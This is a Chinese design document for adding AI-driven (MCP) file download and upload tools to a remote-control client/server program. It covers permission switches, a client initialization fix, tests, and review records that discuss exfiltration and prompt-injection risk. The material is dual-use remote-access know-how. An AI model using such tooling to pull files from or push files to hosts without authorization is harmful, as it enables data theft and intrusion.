- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
|
||||||
|
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
|
||||||
|
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
|
||||||
|
|
||||||
|
### 7.7 安全
|
||||||
|
|
||||||
|
- 门槛 `McpFileTransfer=1 && McpReadonly=0`(§8):upload 写远程盘,复用「允许写」主开关。
|
||||||
|
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
|
||||||
|
|
||||||
|
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7)
|
||||||
|
|
||||||
|
`RecvFileChunkV2` 依赖全局 `g_status==1`(`SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
|
||||||
|
|
||||||
|
修法:在 `client/KernelManager.cpp` 的 `COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static bool s_v2RecvInited = false;
|
||||||
|
if (!s_v2RecvInited) {
|
||||||
|
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
|
||||||
|
s_v2RecvInited = true;
|
||||||
|
}
|
||||||
|
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
|
||||||
|
```
|
||||||
|
|
||||||
|
要点(独立评审结论,均为安全):
|
||||||
|
|
||||||
|
- 与 `FileManager.cpp:40` 的 Init 参数**逐字节一致**(`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
|
||||||
|
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit;`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0,`g_status` 恒为 1。
|
||||||
|
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程)、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false`(`license.cpp:244`)不会越界。
|
||||||
|
- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2`;`FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 安全门
|
||||||
|
|
||||||
|
| 工具 | 定性 | 门槛 |
|
||||||
|
|---|---|---|
|
||||||
|
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
|
||||||
|
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
|
||||||
|
|
||||||
|
- **只新增一个开关 `McpFileTransfer`(默认 0)**:download 只看它;upload 额外要求 `McpReadonly=0`。决策依据见 §12。
|
||||||
|
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
|
||||||
|
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 改动文件清单
|
||||||
|
|
||||||
|
| 文件 | 改动 |
|
||||||
|
|---|---|
|
||||||
|
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
|
||||||
|
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
|
||||||
|
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle`:`COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST` 处 `OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
|
||||||
|
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
|
||||||
|
| (P2)`server/2015Remote/McpServer.h` | `FileTransferSession.tool` 增 `"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
|
||||||
|
| (P2)`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
|
||||||
|
| (P2)`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload`(`g_status` 由 0 置 1,见 §7.8) |
|
||||||
|
|
||||||
|
**客户端**:`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 分阶段实施与回滚
|
||||||
|
|
||||||
|
- **P1**:`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收(真实主机拖回一个目录,SHA-256 与 `certutil -hashfile` 比对一致)。
|
||||||
|
- **P2**:`upload_file`(§7,主连接复用 + 发送方驱动,`MessageHandle` 零改动)。可独立合入、独立验收(推一个目录到真实主机,SHA-256 与源文件 `certutil -hashfile` 比对一致)。
|
||||||
|
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false`,`client/FileManager.cpp:1164`)、大文件进度流式上报。
|
||||||
|
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支,revert 当期 commit 即可,不影响既有 GUI 文件管理器。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. 测试点
|
||||||
|
|
||||||
|
- 单文件 / 目录(含中文名、深层嵌套)下载;SHA-256 与 `certutil -hashfile` 比对一致。
|
||||||
|
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
|
||||||
|
- 路径穿越:`remote_path` 含 `..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
|
||||||
|
- 大文件(>2GB)超时与断线;并发下载同主机返回 `-32003`。
|
||||||
|
- 编码:GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
|
||||||
|
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
|
||||||
|
- **上传(P2)**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建;SHA-256 与源文件 `certutil -hashfile` 比对一致。
|
||||||
|
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
|
||||||
|
- 上传 `remote_dir` 含 `..` 逃逸被拒;大文件(>2GB)超时与断线;并发上传/上传-下载同主机返回 `-32003`。
|
||||||
|
- 上传编码:GBK 中文文件名往返无乱码。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. 决策记录(以「简单易用」为原则)
|
||||||
|
|
||||||
|
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
|
||||||
|
|
||||||
|
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
|
||||||
|
|
||||||
|
- **威胁模型**:MCP 默认 `127.0.0.1` + token;「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单),外带通道远大于 download,目录白名单对已开终端者是冗余防御。
|
||||||
|
- **一致性**:`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
|
||||||
|
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
|
||||||
|
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3,不进 P1。
|
||||||
|
|
||||||
|
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
|
||||||
|
|
||||||
|
- MCP 是 request/response;为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
|
||||||
|
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
|
||||||
|
- 异步任务模型进 P3,且**只在确有超大流式需求时**才做,不预建。
|
||||||
|
|
||||||
|
### 12.3 upload 开关 → **单一 `McpFileTransfer`,upload 复用 `McpReadonly=0`**
|
||||||
|
|
||||||
|
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权,readonly 语义本就只拦「改远程」。
|
||||||
|
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`:upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*` 的 `X && !Readonly` 模式一致。
|
||||||
|
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化(无人有此诉求)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. 专家审查记录(实施前)
|
||||||
|
|
||||||
|
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp` 的 `MessageHandle` 分派、`client/FileManager.cpp` 与 `SimplePlugins/file_upload.cpp` 的实现,结论如下:
|
||||||
|
|
||||||
|
| # | 审查发现 | 结论 |
|
||||||
|
|---|---|---|
|
||||||
|
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
|
||||||
|
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending` 与 `m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
|
||||||
|
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
|
||||||
|
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2`(`FileCompletePacketV2.fileIndex`) | 会话记 `totalFiles`(首 chunk)/`filesDone`(complete 计数),`filesDone==totalFiles` 才算 done |
|
||||||
|
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
|
||||||
|
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167`) |
|
||||||
|
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」,C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
|
||||||
|
|
||||||
|
**判定**:7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
|
||||||
|
|
||||||
|
### 13.1 upload_file 评审记录(P2,实施前)
|
||||||
|
|
||||||
|
核对了 `2015RemoteDlg.cpp` 的 `SendFilesToClientV2Internal`/`SendFileChunkToClientV2`(GUI upload 发送方)、`SimplePlugins/file_upload.cpp` 的 `FileBatchTransferWorkerV2`/`RecvFileChunkV2`、`client/KernelManager.cpp:1381` 的接收分支,结论:
|
||||||
|
|
||||||
|
| # | 审查发现 | 结论 |
|
||||||
|
|---|---|---|
|
||||||
|
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE,不是「等」 |
|
||||||
|
| U2 | upload 走**主连接**(`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
|
||||||
|
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx;离线返回 false 中止 |
|
||||||
|
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5) |
|
||||||
|
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
|
||||||
|
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
|
||||||
|
| U7 | 实施验证发现:客户端主连接 `g_status==0`,`RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化(§7.8):`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
|
||||||
|
|
||||||
|
**判定**:7 项均已写入 §7 对应小节,无阻塞项,**定稿**。
|
||||||